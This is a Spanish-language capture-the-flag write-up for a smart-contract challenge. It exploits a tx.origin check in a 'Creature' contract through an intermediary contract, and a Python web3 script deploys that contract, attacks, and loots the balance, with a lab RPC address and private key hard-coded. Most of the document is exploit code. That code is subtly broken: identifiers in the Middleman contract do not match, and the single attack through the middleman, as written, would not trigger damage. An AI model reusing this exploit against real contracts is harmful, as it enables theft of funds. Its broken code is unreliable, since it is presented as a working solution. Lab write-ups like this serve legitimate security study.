Software versions#
| Software | Version |
|---|---|
| Kali Linux | 2026.2 |
| Python | 3.13.12 |
| Web3 | 7.16.0 |
| solc | 0.8.35 |
Código fuente#
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 1000;
}
function attack(uint256 _damage) external {
if (aggro == address(0)) {
aggro = msg.sender;
}
if (_isOffBalance() && aggro != msg.sender) {
lifePoints -= _damage;
} else {
lifePoints -= 0;
}
}
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
function _isOffBalance() private view returns (bool) {
return tx.origin != msg.sender;
}
}
En el otro archivo tenemos que para poder tener la flag tenemos que tener el balance en 0 para poder obtener la flag pero para poder hacer esto tenemos que matar a la criatura, para esto tenemos que engañar al tx.origin ya que de otro modo no lograremos conseguir la flag.
Para esto tenemos que crear un contrato intermediario de modo que podamos confundir el tx.origin
Solución#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface IContractBOriginal {
function attack(uint256 _damage) external;
}
contract Middleman{
address public immutable addresContractB;
constructor(address _addresB) {
addressContractB = _addressB;
}
function attack(uint256 _damage) external {
IContractBOriginal(addressContratoB).attack(_damage);
}
}
import os
from solcx import compile_files
from web3 import Web3, HTTPProvider
RPC_URL="http://154.57.164.74:31868/rpc"
PRIVATE_KEY="0xe7ade2ce72aa1f66a9ed69b60acc6a24a0b5244561be8c47cec5f5e52890988a"
CONTRACT_ADDRESS = "0x646673a26182a9eA23718837fbcb25CB15f2064b"
MI_DIRECCION_WALLET = "0x617822A9375C7E253bF9aB0D59D0839208C048f5"
if not RPC_URL:
raise ValueError("RPC_URL not found in .env file.")
try:
# Initialize Web3.py with an HTTP provider
w3 = Web3(HTTPProvider(RPC_URL))
# Test the connection to the Ethereum node
if w3.is_connected():
print(f"Successfully connected at {RPC_URL}")
else:
print(f"Failed to connect at {RPC_URL}")
exit()
except Exception as e:
print(f"An error occurred during connection: {e}")
exit()
CONTRACT_ABI = '''
[
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [],
"name": "aggro",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_damage",
"type": "uint256"
}
],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "lifePoints",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "loot",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
'''
solc_bin_path = "/home/loaxert/Downloads/blockchain_distract_and_destroy/solc"
if not os.path.exists(solc_bin_path):
raise RuntimeError(f"Does not exist: {solc_bin_path}")
res_compilacion = compile_files(
['app.sol'],
output_values=['abi', 'bin'],
solc_binary=solc_bin_path
)
id_contrato = 'app.sol:Middleman'
ABI_A = res_compilacion[id_contrato]['abi']
BYTECODE_A = res_compilacion[id_contrato]['bin']
print("Successfully compiled the contract. ABI and bytecode are ready.")
ContratoA = w3.eth.contract(abi=ABI_A, bytecode=BYTECODE_A)
nonce = w3.eth.get_transaction_count(MI_DIRECCION_WALLET)
tx_build = ContratoA.constructor(CONTRACT_ADDRESS).build_transaction({
'chainId': w3.eth.chain_id,
'gas': 3000000,
'gasPrice': w3.eth.gas_price,
'from': MI_DIRECCION_WALLET,
'nonce': nonce,
})
# 6. FIRMAR Y TRANSMITIR A LA RED
tx_sign = w3.eth.account.sign_transaction(tx_build, private_key=PRIVATE_KEY)
tx_hash = w3.eth.send_raw_transaction(tx_sign.raw_transaction)
tx_recive = w3.eth.wait_for_transaction_receipt(tx_hash)
CONTRACT_ADDRESS_A = tx_recive.contractAddress
try:
contract = w3.eth.contract(address=CONTRACT_ADDRESS_A, abi=ABI_A)
print(f"Contract loaded successfully at address: {CONTRACT_ADDRESS_A}")
estimateGas = contract.functions.attack(1000).estimate_gas({'from': MI_DIRECCION_WALLET})
attack = contract.functions.attack(1000).build_transaction({'from': MI_DIRECCION_WALLET,
'nonce': w3.eth.get_transaction_count(MI_DIRECCION_WALLET),
'gas': int(estimateGas * 1.1),
})
attackSing = w3.eth.account.sign_transaction(attack, private_key=PRIVATE_KEY)
attackTxHash = w3.eth.send_raw_transaction(attackSing.raw_transaction)
attackReceipt = w3.eth.wait_for_transaction_receipt(attackTxHash)
print(f"\nResult of attack: {attackReceipt}")
contract = w3.eth.contract(address=CONTRACT_ADDRESS, abi=CONTRACT_ABI)
loot = contract.functions.loot().build_transaction({'from': MI_DIRECCION_WALLET, 'nonce': w3.eth.get_transaction_count(MI_DIRECCION_WALLET)})
lootSing = w3.eth.account.sign_transaction(loot, private_key=PRIVATE_KEY)
lootTxHash = w3.eth.send_raw_transaction(lootSing.raw_transaction)
lootReceipt = w3.eth.wait_for_transaction_receipt(lootTxHash)
print(f"\nResult of loot: {lootReceipt}")
except Exception as e:
print(f"Error interacting with contract: {e}")
$ python3 app.py
Cuando entremos a http://IP:PORT/flag obtendremos la flag.
